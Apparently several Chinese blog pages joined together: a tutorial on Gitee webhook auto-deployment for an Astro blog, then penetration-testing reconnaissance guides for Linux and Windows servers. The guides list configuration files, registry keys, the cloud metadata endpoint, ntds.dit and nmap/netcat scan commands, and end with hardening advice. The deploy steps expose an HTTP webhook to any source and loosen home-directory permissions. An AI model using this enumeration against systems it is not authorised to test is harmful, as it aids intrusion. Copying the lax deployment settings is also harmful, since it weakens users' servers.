应该看到类似：

● webhook.service - Webhook Service for Blog Auto Deploy
 Loaded: loaded
 Active: active (running)

继续下一步！🚀

修改 Webhook 配置使用快速脚本

1sudo vim /etc/webhook.conf

把 "execute-command" 改为：

1{
2 "id": "deploy-blog",
3 "execute-command": "/var/www/deploy-scripts/deploy-blog-fast.sh",
4 ...
5}

重启 Webhook 服务

1sudo systemctl restart webhook
2sudo systemctl status webhook

现在有两个脚本

快速部署（只更新文章时用）：deploy-blog-fast.sh - 只拉代码 + 构建
完整部署（更新依赖时用）：deploy-blog.sh - 重装依赖 + 构建

Webhook 用快速的，手动完整部署时：

1sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh

测试快速脚本

1sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh
2tail -20 /var/log/astro-blog-deploy.log

应该几十秒就完成了！继续配置 Gitee Webhook 吧？🚀

关于 Git 警告

顺便修复 Git 的权限警告：

 1# 创建配置目录
 2sudo mkdir -p /home/blogdeploy/.config/git
 3
 4# 创建空文件
 5sudo touch /home/blogdeploy/.config/git/ignore
 6sudo touch /home/blogdeploy/.config/git/attributes
 7
 8# 设置权限
 9sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.config
10sudo chmod -R 755 /home/blogdeploy/.config
11# 确保目录存在并有正确权限
12sudo mkdir -p /home/blogdeploy/.config/git
13sudo touch /home/blogdeploy/.config/git/ignore
14sudo touch /home/blogdeploy/.config/git/attributes
15sudo chown -R blogdeploy:blogdeploy /home/blogdeploy
16sudo chmod -R 755 /home/blogdeploy

配置 Gitee Webhook

在服务器安全组开放端口

登录你的服务器控制台（阿里云/腾讯云等）：

找到"安全组规则"
添加入站规则：
- 端口：9000
- 协议：TCP
- 来源：0.0.0.0/0（或只允许 Gitee IP）

第1步：访问 Gitee Webhook 设置

打开浏览器，访问：

https://gitee.com/bugatti100Peagle/my-blog/hooks

第2步：添加 WebHook

点击页面上的 “添加 WebHook” 或 “管理 WebHook” → “添加”

第3步：填写配置

填写以下信息：

http://你的服务器IP:9000/hooks/deploy-blog

例如：http://123.45.67.89:9000/hooks/deploy-blog

密码令牌

粘贴你之前生成的密钥（openssl rand -hex 32 那个）

如果忘了，重新生成一个：

1openssl rand -hex 32

就是/etc/webhook.conf 里的 secret 值

事件选择

✅ 勾选 Push
⬜ 其他不勾选

其他选项

SSL 验证：关闭（因为用的是 HTTP）
激活 WebHook：✅ 勾选

第4步：保存并测试

点击 “添加” 或 “确定”

然后点击刚创建的 Webhook 右侧的 “测试” 按钮

验证是否成功

方法1：查看 Gitee 界面

测试后，Gitee 会显示：

✅ 成功：状态码 200，响应 “正在部署博客，请稍候…”
❌ 失败：显示错误信息

方法2：查看服务器日志

1# 查看 webhook 日志
2sudo journalctl -u webhook -f
3
4# 查看部署日志
5tail -f /var/log/astro-blog-deploy.log

如果成功，你会看到类似：

[webhook] 2025/12/13 xx:xx:xx [deploy-blog] 200 | deploy-blog got matched
[webhook] 2025/12/13 xx:xx:xx [deploy-blog] executing /var/www/deploy-scripts/deploy-blog-fast.sh

第5步：真实测试

在本地修改一篇文章，然后：

1git add .
2git commit -m "test: 测试自动部署"
3git push origin astro-blog

然后：

观察服务器日志：tail -f /var/log/astro-blog-deploy.log
应该会自动开始部署
完成后访问你的网站验证更新

常见问题

如果 Gitee 提示连接失败

 1# 确认 webhook 服务正在运行
 2sudo systemctl status webhook
 3
 4# 确认端口开放
 5sudo netstat -tlnp | grep 9000
 6
 7# 测试本地访问
 8curl http://localhost:9000/hooks/deploy-blog
 9
10curl -X POST http://localhost:9000/hooks/deploy-blog \
11 -H "X-Gitee-Token: 你的密码" \
12 -H "Content-Type: application/json" \
13 -d '{"ref": "refs/heads/master"}'

如果 Gitee 提示 403 或验证失败

检查密钥是否一致：

1# 查看配置文件中的密钥
2sudo cat /etc/webhook.conf | grep secret

确保和 Gitee 填的一样。

私钥权限

私钥权限太宽松了，SSH 拒绝使用。修复一下：

1sudo chmod 600 /home/blogdeploy/.ssh/id_rsa
2sudo chmod 644 /home/blogdeploy/.ssh/id_rsa.pub
3sudo chmod 700 /home/blogdeploy/.ssh
4sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.ssh

然后再 push 测试。

修复 dist 目录权限

 1# 1. 确保 blogdeploy 对整个项目目录有写权限
 2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog
 3
 4# 2. 特别是 dist 目录
 5sudo rm -rf /var/www/astro-blog/dist
 6sudo mkdir -p /var/www/astro-blog/dist
 7sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog/dist
 8
 9# 3. 确保 node_modules 也有正确权限
10sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog/node_modules
11
12# 4. 测试构建
13sudo -u blogdeploy bash /var/www/deploy-scripts/deploy-blog-fast.sh
14
15# 5. 查看日志
16tail -50 /var/log/astro-blog-deploy.log

安全增强（可选）

如果还想更安全，可以加上 IP 白名单：

 1{
 2 "trigger-rule": {
 3 "and": [
 4 {
 5 "match": {
 6 "type": "value",
 7 "value": "你的密码",
 8 "parameter": {
 9 "source": "header",
10 "name": "X-Gitee-Token"
11 }
12 }
13 },
14 {
15 "match": {
16 "type": "value",
17 "value": "refs/heads/astro-blog",
18 "parameter": {
19 "source": "payload",
20 "name": "ref"
21 }
22 }
23 },
24 {
25 "match": {
26 "type": "ip-whitelist",
27 "ip-range": "180.97.0.0/16,116.211.0.0/16"
28 }
29 }
30 ]
31 }
32}

10. 监控和维护

查看 Nginx 日志

# 实时查看访问日志
sudo tail -f /var/log/nginx/access.log

# 查看错误日志
sudo tail -f /var/log/nginx/error.log

创建服务状态检查脚本

#!/bin/bash
# check-status.sh

echo "=== 系统状态检查 ==="
echo "Nginx 状态:"
sudo systemctl status nginx --no-pager

echo -e "\n磁盘使用:"
df -h

echo -e "\n内存使用:"
free -h

echo -e "\n最近访问日志:"
sudo tail -20 /var/log/nginx/access.log

12. 常用命令总结

# 查看 Nginx 状态
sudo systemctl status nginx

# 重启 Nginx
sudo systemctl restart nginx

# 重载配置
sudo systemctl reload nginx

# 查看 Nginx 配置语法
sudo nginx -t

# 查看网站访问
sudo tail -f /var/log/nginx/access.log

13. 备份脚本

#!/bin/bash
# backup.sh

DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_DIR="/home/username/backups"
SOURCE_DIR="/var/www/myblog"

# 创建备份目录
mkdir -p $BACKUP_DIR

# 备份网站文件
tar -czf $BACKUP_DIR/myblog_$DATE.tar.gz $SOURCE_DIR

# 备份数据库（如果有）
# mysqldump -u username -p dbname > $BACKUP_DIR/db_$DATE.sql

# 保留最近7天备份
find $BACKUP_DIR -name "myblog_*.tar.gz" -mtime +7 -delete

echo "备份完成: $BACKUP_DIR/myblog_$DATE.tar.gz"

14. 问题排查

常见问题解决：

403 Forbidden 错误

# 检查文件权限
sudo chown -R www-data:www-data /var/www/myblog
sudo chmod -R 755 /var/www/myblog

502 Bad Gateway 错误

# 检查端口占用
sudo netstat -tulpn | grep :80
sudo systemctl restart nginx

内存不足

# 增加 swap
sudo fallocate -l 2G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

部署流程总结：

✅ 服务器：Ubuntu 24.04 LTS
✅ Web服务器：Nginx
✅ 运行环境：Node.js (nvm)
✅ 项目目录：/var/www/myblog
✅ SSL证书：Let’s Encrypt
✅ 自动化：Git hooks
✅ 监控：日志和 systemd

Linux服务器端口和基本信息侦察指南

Wed, 22 Oct 2025 22:21:58 +0000

Linux服务器端口和基本信息侦察指南

在渗透测试或安全评估中,了解目标服务器开放的端口和基本信息是至关重要的第一步。服务器通常不会直接展示所有开放端口和详细信息,但通过一些常见的服务和文件,攻击者可以获取这些信息。以下是服务器上常见的文件、服务和配置,它们可能直接或间接地透露开放的端口和服务器的基本信息。

参考：作为运维，应该掌握的 50 个 Linux 上重要的配置文件

1. 基础系统信息文件

1.1. `/etc/services`

描述: 该文件包含了服务名称与端口号及协议的映射关系。虽然它不显示当前服务器实际开放的端口,但它列出了常见的服务及其默认端口,攻击者可以借此了解哪些端口通常用于哪些服务。

路径: /etc/services
用途: 了解常见服务的默认端口,辅助端口扫描和识别

示例内容:

http 80/tcp www www-http # WorldWideWeb HTTP
ssh 22/tcp # SSH Remote Login Protocol
ftp 21/tcp # File Transfer Protocol

1.2. `/etc/hosts`

描述: 该文件用于将主机名映射到IP地址,通常用于本地网络解析。虽然它不直接显示开放的端口,但可以揭示服务器上配置的主机名和内部IP地址。

路径: /etc/hosts
用途: 了解服务器的主机名配置和内部网络结构

示例内容:

127.0.0.1 localhost
192.168.1.10 server1.example.com

1.3. `/etc/hostname`

描述: 该文件包含服务器的主机名。通过查看此文件,攻击者可以了解服务器的名称,有助于进一步的侦察。

路径: /etc/hostname
用途: 获取服务器的主机名

示例内容:

webserver01

1.4. `/etc/resolv.conf`

描述: DNS解析器配置文件。

路径: /etc/resolv.conf
用途: 了解DNS服务器配置,可能揭示内部网络结构

2. 网络连接和端口信息

2.1. `/proc/net/tcp` 和 `/proc/net/udp`

描述: 这些文件提供了当前系统上TCP和UDP连接的状态信息,包括本地和远程地址及端口。通过解析这些文件,可以获取服务器当前活跃的连接和监听端口。

路径:
- TCP: /proc/net/tcp
- UDP: /proc/net/udp
用途: 查看当前系统上的TCP和UDP连接及监听端口

注意: 这些文件的内容是十六进制格式的,需要一定的解析技巧。通常可以使用工具或脚本来解析这些信息。

示例(简化):

sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
 0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 12345 1 ffff880012345678 100 0 0 10 0

local_address中的端口部分(如 1F90)需要转换为十进制(8080)

2.2. `/proc/net/tcp6` 和 `/proc/net/udp6`

描述: IPv6连接的TCP和UDP状态信息。

路径: /proc/net/tcp6, /proc/net/udp6
用途: 查看IPv6监听端口和连接

2.3. `/proc/net/unix`

描述: Unix域套接字信息。

路径: /proc/net/unix
用途: 了解本地进程间通信(IPC)使用的套接字

2.4. 运行时进程信息

路径:

/proc/[pid]/cmdline: 进程启动命令行
/proc/[pid]/environ: 进程环境变量

用途: 查看服务启动参数和环境变量,可能包含端口绑定信息

3. 网络配置文件

3.1. RHEL/CentOS 网络配置

描述: 网络接口配置文件。

路径: /etc/sysconfig/network-scripts/ifcfg-*
用途: 了解网络接口配置和IP地址

3.2. Debian/Ubuntu 网络配置

描述: 网络接口配置。

路径: /etc/network/interfaces
用途: 查看网络配置和绑定的IP地址

3.3. 网络接口系统信息

描述: 网络接口状态和配置。

路径: /sys/class/net/*/
用途: 查看网络接口状态和配置

4. 超级服务器配置

4.1. `/etc/inetd.conf` 或 `/etc/xinetd.conf`

描述: 这些文件配置了由 inetd或 xinetd管理的服务,这些服务在需要时启动并监听特定端口。

路径:
- inetd: /etc/inetd.conf
- xinetd: /etc/xinetd.conf 或 /etc/xinetd.d/ 目录下的各个文件
用途: 了解由超级服务器管理的服务及其端口

5. Web服务器配置

5.1. Nginx 配置

描述: Nginx的配置文件定义了服务器监听的端口和虚拟主机配置。

路径:
- 主配置: /etc/nginx/nginx.conf
- 站点配置: /etc/nginx/sites-enabled/ 或 /etc/nginx/conf.d/
用途: 查看Nginx监听的端口和处理的站点

5.2. Apache 配置

描述: Apache的配置文件定义了服务器监听的端口和虚拟主机配置。

路径:
- 端口配置: /etc/apache2/ports.conf
- 站点配置: /etc/apache2/sites-enabled/ 或 /etc/apache2/sites-available/
用途: 查看Apache监听的端口和处理的站点

6. 数据库服务配置

6.1. MySQL/MariaDB

路径: /etc/mysql/my.cnf 或 /etc/my.cnf
用途: 查看数据库监听端口(默认3306)和绑定地址

6.2. PostgreSQL

路径: /etc/postgresql/*/main/postgresql.conf
用途: 查看PostgreSQL监听端口和地址

6.3. Redis

路径: /etc/redis/redis.conf
用途: 查看Redis监听端口(默认6379)

6.4. MongoDB

路径: /etc/mongod.conf
用途: 查看MongoDB监听端口(默认27017)

7. 其他网络服务配置

7.1. SSH 配置

路径: /etc/ssh/sshd_config
用途: 查看SSH监听端口(默认22,可能被修改)

7.2. FTP 服务

路径:

vsftpd: /etc/vsftpd.conf
ProFTPD: /etc/proftpd/proftpd.conf

用途: 查看FTP监听端口和配置

7.3. Samba

路径: /etc/samba/smb.conf
用途: 查看SMB/CIFS共享配置

8. 防火墙配置

8.1. iptables

描述: 防火墙规则可以揭示哪些端口是开放的或被允许的。

查看命令: iptables -L -n
配置文件路径: /etc/iptables/rules.v4 或 /etc/sysconfig/iptables(取决于发行版)
用途: 查看防火墙允许的端口和流量规则

8.2. ufw (Uncomplicated Firewall)

查看命令: ufw status
配置文件路径: /etc/ufw/ 目录下
用途: 查看防火墙允许的端口和服务

8.3. firewalld

查看命令: firewall-cmd --list-all
配置文件路径: /etc/firewalld/ 目录下
用途: 查看防火墙允许的服务和端口

9. Systemd 服务管理

9.1. Systemd 服务文件

路径:
- /etc/systemd/system/
- /lib/systemd/system/
用途: 查看通过systemd管理的服务及其配置,可能包含端口信息

10. 容器和虚拟化

10.1. Docker

路径:

/etc/docker/daemon.json
Docker容器信息: docker ps (如果有权限)

用途: 查看Docker端口映射和暴露的服务

10.2. Kubernetes 配置

路径:

~/.kube/config
服务配置: Kubernetes Service和Ingress定义

用途: 查看暴露的服务端口

10.3. 云提供商元数据服务

访问: 通常通过 http://169.254.169.254/
用途: 获取实例元数据,可能包含网络配置信息

11. 系统日志文件

路径:

/var/log/syslog 或 /var/log/messages: 系统日志
/var/log/auth.log 或 /var/log/secure: 认证日志
/var/log/apache2/access.log: Apache访问日志
/var/log/nginx/access.log: Nginx访问日志

用途: 可能包含连接尝试、服务启动信息等

12. 安全策略配置

12.1. SELinux

路径: /etc/selinux/config
查看命令: sestatus
用途: 了解安全策略,可能影响端口访问

12.2. AppArmor

路径: /etc/apparmor.d/
用途: 了解应用程序安全配置文件

13. 定时任务

13.1. Cron 任务

路径:

/etc/crontab
/etc/cron.d/
/var/spool/cron/

用途: 可能包含定期执行的网络服务或端口扫描脚本

14. 应用程序特定配置

14.1. Java 应用

配置文件: application.properties 或 application.yml

14.2. Node.js 应用

配置文件: package.json, .env 文件

14.3. Python 应用

配置文件: settings.py, .env 文件

15. 如何利用这些文件和服务获取信息

15.1. 手动查看

如果有对服务器的Shell访问权限，可以直接查看上述文件，以获取端口和服务信息。示例命令：

# 查看 /etc/services
cat /etc/services

15.1.1. 查看进程

1ps aux

用途: 查看当前运行的进程,可以识别出哪些服务正在运行

15.1.2. 查看监听端口

1sudo netstat -tuln
2# 或
3sudo ss -tuln

输出示例:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp6 0 0 
22 
* LISTEN
tcp6 0 0 
80 
* LISTEN

说明:

0.0.0.0:22 表示SSH服务在所有接口的22端口监听
0.0.0.0:80 表示HTTP服务在所有接口的80端口监听

注意: 这些命令需要适当的权限(通常是root)才能查看所有监听端口

15.1.3. 查看打开的文件和网络连接

1lsof -i
2# 或查看特定端口
3lsof -i :端口号

用途: 列出打开的网络连接和监听端口

15.2. 自动化工具

使用自动化工具进行端口扫描和服务识别，可以更高效地获取服务器的开放端口和基本信息。- Nmap：强大的网络扫描工具，可以扫描目标服务器的开放端口、运行的服务及其版本。示例命令：

nmap -sV target_ip

说明：

-sV：探测服务版本信息。
Netcat (nc)：可以用于手动连接和探测端口。示例命令：

nc -zv target_ip 1-1000

说明：

-z：扫描模式，不发送数据。
-v：详细输出。

15.3. Web 服务器信息泄露

有时候，Web服务器配置不当，可能会在网页响应头、错误页面或特定URL中泄露服务器信息，包括运行的服务、版本号和开放的端口。

常见信息泄露点：- HTTP 响应头：如 Server: Apache/2.4.41 (Ubuntu)，透露了Web服务器类型和版本。
- 错误页面：如404、500错误页面，可能包含服务器信息。
- 特定URL：如 /phpinfo.php、/admin/等，可能泄露服务器配置。注意：这些信息通常需要通过Web请求获取，而非直接查看服务器文件。—## 3. 安全建议为了防止攻击者通过上述文件和服务获取服务器的敏感信息，建议采取以下安全措施：1. 限制文件访问权限：
- 确保敏感配置文件（如 /etc/hosts、/etc/passwd等）的权限设置正确，避免不必要的读取权限。
隐藏或移除敏感信息：
- 避免在Web应用的错误页面、响应头中泄露服务器信息。
- 移除或禁用不必要的服务，减少攻击面。
使用防火墙：
- 配置防火墙（如 iptables、ufw、firewalld）仅允许必要的端口和流量，限制对管理端口（如SSH的22端口）的访问。
定期更新和打补丁：
- 保持服务器操作系统和软件包的最新状态，修补已知的安全漏洞。
使用安全配置：
- 遵循最小权限原则，仅运行必要的服务，使用强密码和密钥认证。
监控和日志审计：
- 实施日志监控，及时发现异常访问和潜在的攻击行为。

安全建议

最小权限原则: 限制对敏感配置文件的访问权限
定期审计: 定期检查开放的端口和运行的服务
防火墙配置: 只开放必要的端口
日志监控: 监控异常的访问尝试和配置文件访问
文件完整性监控: 使用工具(如AIDE、Tripwire)监控关键配置文件的变化
禁用不必要的服务: 关闭不需要的网络服务以减少攻击面

Windows服务器端口和基本信息侦察指南

在Windows环境中进行渗透测试或安全评估时,了解目标服务器开放的端口和基本信息同样至关重要。Windows服务器通过注册表、配置文件和各种服务来管理网络配置。以下是Windows服务器上常见的文件、注册表项和服务,它们可能直接或间接地透露开放的端口和服务器的基本信息。

参考：【2024/3/12 更新】Windows Server 2019 服务配置与管理汇总

1. 系统基本信息

1.1. 主机名和网络配置

1.1.1. 计算机名称

位置:

注册表: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
文件: 可通过命令 hostname 获取

用途: 获取服务器的计算机名称

1.1.2. Hosts 文件

路径: C:\Windows\System32\drivers\etc\hosts

用途: 了解本地DNS解析配置,可能揭示内部主机名和IP地址映射

示例内容:

127.0.0.1 localhost
192.168.1.10 server1.domain.local
10.0.0.50 database.internal.com

1.1.3. Networks 文件

路径: C:\Windows\System32\drivers\etc\networks

用途: 网络名称与网络地址的映射

1.1.4. Services 文件

路径: C:\Windows\System32\drivers\etc\services

描述: 包含服务名称与端口号及协议的映射关系,类似Linux的 /etc/services

用途: 了解常见Windows服务的默认端口

示例内容:

http 80/tcp
https 443/tcp
smb 445/tcp
rdp 3389/tcp

2. 注册表中的网络配置

2.1. TCP/IP 配置

路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

重要键值:

Hostname: 主机名
Domain: 域名
NameServer: DNS服务器地址
DhcpNameServer: DHCP分配的DNS服务器

用途: 查看网络配置和DNS设置

2.2. 网络接口配置

路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}

重要键值:

IPAddress: 静态IP地址
SubnetMask: 子网掩码
DefaultGateway: 默认网关
DhcpIPAddress: DHCP分配的IP地址

用途: 查看每个网络接口的详细配置

2.3. 端口代理配置

路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy

用途: 查看配置的端口转发规则

3. Windows防火墙配置

3.1. 防火墙规则

路径:

配置文件: C:\Windows\System32\LogFiles\Firewall\pfirewall.log
注册表: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy

PowerShell命令:

1Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'}
2Get-NetFirewallPortFilter

用途: 查看防火墙允许的端口和服务

3.2. Windows Defender 防火墙配置文件

路径: C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Network\Connections\Pbk\

用途: VPN和远程连接配置

4. IIS (Internet Information Services) 配置

4.1. IIS 配置文件

路径:

主配置: C:\Windows\System32\inetsrv\config\applicationHost.config
站点配置: C:\inetpub\wwwroot\web.config
应用程序配置: 各站点目录下的 web.config

用途: 查看IIS监听的端口、绑定的域名和虚拟目录配置

关键配置节点:

1<sites>
2 <site name="Default Web Site" id="1">
3 <bindings>
4 <binding protocol="http" bindingInformation="*:80:" />
5 <binding protocol="https" bindingInformation="*:443:" />
6 </bindings>
7 </site>
8</sites>

4.2. IIS 日志文件

默认路径: C:\inetpub\logs\LogFiles\

用途: 分析访问记录、连接来源和请求模式

5. 远程桌面服务 (RDP)

5.1. RDP 配置

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server

重要键值:

fDenyTSConnections: 0=允许RDP连接, 1=禁用
PortNumber: RDP监听端口(默认3389)

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

用途: 查看RDP服务是否启用及监听端口

6. 数据库服务配置

6.1. Microsoft SQL Server

配置文件路径:

SQL Server 2019: C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\
配置管理器: SQL Server Configuration Manager

注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\

日志路径: C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log\

用途: 查看SQL Server监听端口(默认1433)和实例配置

常用命令:

1Get-Service | Where-Object {$_.Name -like "*SQL*"}

6.2. MySQL/MariaDB (Windows版本)

配置文件:

C:\ProgramData\MySQL\MySQL Server 8.0\my.ini
C:\Program Files\MySQL\MySQL Server 8.0\my.ini

用途: 查看MySQL监听端口(默认3306)和绑定地址

6.3. PostgreSQL (Windows版本)

配置文件: C:\Program Files\PostgreSQL\[version]\data\postgresql.conf

用途: 查看PostgreSQL监听端口和地址

7. 文件共享服务

7.1. SMB/CIFS 共享

查看命令:

1Get-SmbShare
2net share

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares

用途: 查看共享文件夹配置(使用端口445)

7.2. FTP 服务

IIS FTP配置: 包含在 applicationHost.config 中

路径: C:\Windows\System32\inetsrv\config\applicationHost.config

用途: 查看FTP站点绑定和端口(默认21)

8. 邮件服务

8.1. Microsoft Exchange Server

安装路径: C:\Program Files\Microsoft\Exchange Server\

配置路径:

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\
C:\Program Files\Microsoft\Exchange Server\V15\Bin\

用途: 查看Exchange监听的端口:

SMTP: 25
POP3: 110
IMAP: 143
HTTPS (OWA): 443

8.2. SMTP 服务

IIS SMTP配置:

元数据库: C:\Windows\System32\inetsrv\MetaBase.xml

用途: 查看SMTP中继配置和端口

9. DNS 服务

9.1. Windows DNS Server

配置文件路径: C:\Windows\System32\dns\

区域文件: C:\Windows\System32\dns\*.dns

日志路径: C:\Windows\System32\dns\dns.log

用途: 查看DNS区域配置和解析记录(默认端口53)

10. Active Directory 相关

10.1. Active Directory 配置

数据库路径: C:\Windows\NTDS\ntds.dit

日志路径: C:\Windows\debug\netlogon.log

重要端口:

LDAP: 389
LDAPS: 636
Global Catalog: 3268, 3269
Kerberos: 88

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

10.2. 组策略对象 (GPO)

路径: C:\Windows\SYSVOL\domain\Policies\

用途: 可能包含网络配置、防火墙规则等策略

11. Web应用服务器

11.1. Apache (Windows版本)

配置文件:

主配置: C:\Apache24\conf\httpd.conf
虚拟主机: C:\Apache24\conf\extra\httpd-vhosts.conf

用途: 查看Apache监听的端口和虚拟主机配置

11.2. Tomcat

配置文件: C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\server.xml

用途: 查看Tomcat监听端口(默认8080, 8443)

11.3. nginx (Windows版本)

配置文件: C:\nginx\conf\nginx.conf

用途: 查看nginx监听端口和服务器配置

12. 应用程序配置

12.1. .NET 应用程序

配置文件:

web.config (Web应用)
app.config (桌面应用)
appsettings.json (.NET Core)

常见位置: 应用程序根目录

用途: 可能包含数据库连接字符串、API端点等信息

12.2. Java 应用程序

配置文件:

application.properties
application.yml
server.xml

用途: 查看应用监听端口和服务配置

13. VPN和远程访问

13.1. RRAS (Routing and Remote Access Service)

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess

配置文件: 通过远程访问管理控制台配置

用途: 查看VPN配置和端口:

PPTP: 1723
L2TP: 1701
IKEv2: 500, 4500

13.2. VPN连接配置

路径: C:\Users\[Username]\AppData\Roaming\Microsoft\Network\Connections\Pbk\rasphone.pbk

用途: 查看保存的VPN连接配置

14. 系统服务和端口

14.1. 服务列表

注册表路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\

查看命令:

1Get-Service
2sc query

用途: 列出所有已安装的服务,识别网络服务

14.2. 启动程序

注册表路径:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

文件系统路径:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

用途: 可能包含自动启动的网络服务或后门程序

15. 日志文件

15.1. Windows事件日志

访问方式: 事件查看器 (eventvwr.msc)

日志位置: C:\Windows\System32\winevt\Logs\

重要日志:

Security.evtx: 安全审计日志
System.evtx: 系统事件日志
Application.evtx: 应用程序日志

PowerShell命令:

1Get-EventLog -LogName Security -Newest 100
2Get-WinEvent -LogName Security

用途: 分析登录尝试、服务启动、网络连接等事件

15.2. IIS日志

路径: C:\inetpub\logs\LogFiles\W3SVC1\

用途: Web访问日志,包含IP地址、请求URI、状态码等

15.3. 防火墙日志

路径: C:\Windows\System32\LogFiles\Firewall\pfirewall.log

用途: 记录防火墙阻止或允许的连接

16. 常用PowerShell和CMD命令

16.1. 查看网络连接和监听端口

 1# 查看所有TCP连接和监听端口
 2netstat -ano
 3netstat -ano | findstr LISTENING
 4
 5# 使用PowerShell查看
 6Get-NetTCPConnection
 7Get-NetTCPConnection -State Listen
 8
 9# 查看UDP端口
10Get-NetUDPEndpoint

输出示例:

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1000
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1234

16.2. 查看运行的进程

1# 查看所有进程
2Get-Process
3tasklist
4
5# 查看特定端口的进程
6netstat -ano | findstr :80
7Get-Process -Id [PID]

16.3. 查看已安装的程序和服务

1# 查看已安装程序
2Get-WmiObject -Class Win32_Product
3Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*
4
5# 查看服务
6Get-Service
7Get-Service | Where-Object {$_.Status -eq "Running"}

16.4. 查看网络配置

 1# 查看IP配置
 2ipconfig /all
 3Get-NetIPConfiguration
 4Get-NetIPAddress
 5
 6# 查看路由表
 7route print
 8Get-NetRoute
 9
10# 查看DNS缓存
11ipconfig /displaydns
12Get-DnsClientCache
13
14# 查看ARP缓存
15arp -a
16Get-NetNeighbor

16.5. 查看共享和权限

 1# 查看共享文件夹
 2net share
 3Get-SmbShare
 4
 5# 查看共享会话
 6net session
 7Get-SmbSession
 8
 9# 查看打开的文件
10openfiles /query
11Get-SmbOpenFile

16.6. 查看防火墙规则

 1# 查看防火墙状态
 2netsh advfirewall show allprofiles
 3Get-NetFirewallProfile
 4
 5# 查看防火墙规则
 6netsh advfirewall firewall show rule name=all
 7Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'}
 8
 9# 查看特定端口的规则
10Get-NetFirewallPortFilter | Where-Object {$_.LocalPort -eq 80}

16.7. 查看计划任务

1# 查看计划任务
2schtasks /query /fo LIST /v
3Get-ScheduledTask | Where-Object {$_.State -eq "Ready"}

16.8. 查看用户和组

 1# 查看本地用户
 2net user
 3Get-LocalUser
 4
 5# 查看本地组
 6net localgroup
 7Get-LocalGroup
 8
 9# 查看登录会话
10query user
11qwinsta

17. WMI (Windows Management Instrumentation) 查询

17.1. 网络适配器配置

1Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}

17.2. 监听端口

1Get-WmiObject -Class Win32_Process | Where-Object {$_.Name -like "*server*"}

17.3. 已安装的软件

1Get-WmiObject -Class Win32_Product

18. 容器和虚拟化

18.1. Docker (Windows容器)

配置文件: C:\ProgramData\Docker\config\daemon.json

查看命令:

1docker ps
2docker port [container_id]

用途: 查看容器端口映射

18.2. Hyper-V

配置路径: 通过Hyper-V管理器查看

PowerShell命令:

1Get-VM
2Get-VMNetworkAdapter

用途: 查看虚拟机网络配置

19. 云和企业服务

19.1. Azure Arc

配置路径: C:\ProgramData\AzureConnectedMachineAgent\

用途: Azure混合云连接配置

19.2. System Center Configuration Manager (SCCM)

客户端路径: C:\Windows\CCM\

日志路径: C:\Windows\CCM\Logs\

用途: 企业配置管理信息

20. 安全相关配置

20.1. BitLocker配置

注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE

用途: 磁盘加密配置

20.2. Windows Defender

配置路径: C:\ProgramData\Microsoft\Windows Defender\

日志路径: C:\ProgramData\Microsoft\Windows Defender\Support\

PowerShell命令:

1Get-MpPreference
2Get-MpComputerStatus

20.3. 审计策略

查看命令:

1auditpol /get /category:*

用途: 了解系统审计配置

21. 证书和加密

21.1. 证书存储

路径: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\

查看命令:

1Get-ChildItem -Path Cert:\LocalMachine\My
2Get-ChildItem -Path Cert:\CurrentUser\My

用途: 查看安装的SSL/TLS证书,可能揭示服务域名

